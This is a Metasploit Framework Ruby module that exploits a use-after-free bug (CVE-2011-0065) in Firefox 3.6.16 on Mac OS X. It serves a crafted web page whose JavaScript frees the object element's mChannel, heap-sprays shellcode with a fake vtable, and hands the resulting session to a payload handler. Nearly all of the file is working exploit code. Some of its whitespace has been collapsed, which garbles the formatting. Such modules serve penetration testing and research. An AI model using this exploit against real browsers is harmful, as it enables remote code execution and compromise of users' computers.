### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##require'msf/core'classMetasploit3<Msf::Exploit::RemoteRank=NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwnautopwn_info({:ua_name=>HttpClients::FF,:ua_minver=>"3.6.16",:ua_maxver=>"3.6.16",:os_name=>OperatingSystems::MAC_OSX,:javascript=>true,:rank=>NormalRanking,})definitialize(info ={})super(update_info(info,'Name'=>'Mozilla Firefox 3.6.16 mChannel use after free vulnerability','Description'=>%q{
This module exploits an use after free vulnerability in Mozilla
Firefox 3.6.16. An OBJECT Element mChannel can be freed via the
OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel
becomes a dangling pointer and can be reused when setting the OBJECTs
data attribute. (Discovered by regenrecht). Mac OS X version by argp,
tested on Mac OS X 10.6.6, 10.6.7 and 10.6.8.
},'License'=>MSF_LICENSE,'Author'=>['regenrecht',# discovery'Rh0',# windows metasploit module'argp <argp[at]census-labs.com>'# mac os x target],'References'=>[['CVE','2011-0065'],['OSVDB','72085'],['URL','https://bugzilla.mozilla.org/show_bug.cgi?id=634986'],['URL','http://www.mozilla.org/security/announce/2011/mfsa2011-13.html']],'Payload'=>{'Space'=>1024,},'Platform'=>'osx','Targets'=>[['Firefox 3.6.16 on Mac OS X (10.6.6, 10.6.7 and 10.6.8)',{'Arch'=>ARCH_X86,'Fakevtable'=>0x2727,'Fakefunc'=>0x2727001c,}],],'DefaultTarget'=>0,'DisclosureDate'=>'May 10 2011'))enddefon_request_uri(cli, request)# Random JavaScript variable names
js_element_name =rand_text_alpha(rand(10)+5)
js_obj_addr_name =rand_text_alpha(rand(10)+5)
js_sc_name =rand_text_alpha(rand(10)+5)
js_ret_addr_name =rand_text_alpha(rand(10)+5)
js_chunk_name =rand_text_alpha(rand(10)+5)
js_final_chunk_name =rand_text_alpha(rand(10)+5)
js_block_name =rand_text_alpha(rand(10)+5)
js_array_name =rand_text_alpha(rand(10)+5)# check for non vulnerable targets
agent = request.headers['User-Agent']if agent !~/IntelMacOSX10\.6/and agent !~/Firefox\/3\.6\.16/print_error("Target not supported: #{agent}")if datastore['VERBOSE']send_not_found(cli)returnend# Re-generate the payloadreturnif((payload =regenerate_payload(cli).encoded)==nil)
payload_buf =''
payload_buf << payload
escaped_payload =Rex::Text.to_unescape(payload_buf)# setup the fake memory references
my_target = targets[0]# in case we add more targets later
fakevtable =Rex::Text.to_unescape([my_target['Fakevtable']].pack('v'))
fakefunc =Rex::Text.to_unescape([my_target['Fakefunc']].pack('V*'))
exploit_js =<<-JS#{js_element_name} = document.getElementById("d");#{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink);#{js_element_name}.onChannelRedirect(null, new Object, 0)#{js_obj_addr_name} = unescape("\x00#{fakevtable}");
var #{js_sc_name} = unescape("#{escaped_payload}");
var #{js_ret_addr_name} = unescape("#{fakefunc}");while(#{js_ret_addr_name}.length < 0x120){#{js_ret_addr_name} += #{js_ret_addr_name};}
var #{js_chunk_name} = #{js_ret_addr_name}.substring(0, 0x18);#{js_chunk_name} += #{js_sc_name};#{js_chunk_name} += #{js_ret_addr_name};
var #{js_final_chunk_name} = #{js_chunk_name}.substring(0, 0x10000 / 2);while(#{js_final_chunk_name}.length < 0x800000){#{js_final_chunk_name} += #{js_final_chunk_name};}
var #{js_block_name} = #{js_final_chunk_name}.substring(0, 0x80000 - #{js_sc_name}.length - 0x24 / 2 - 0x4 / 2 - 0x2 / 2);#{js_array_name} = new Array()for(n =0; n <0x220; n++){#{js_array_name}[n] = #{js_block_name} + #{js_sc_name};}JS
html =<<-HTML<html><body><object id="d"><object><script type="text/javascript">#{exploit_js}</script></body></html>HTML#Remove the extra tabs
html = html.gsub(/^\t\t/,'')print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")send_response_html(cli, html,{'Content-Type'=>'text/html'})# Handle the payloadhandler(cli)endend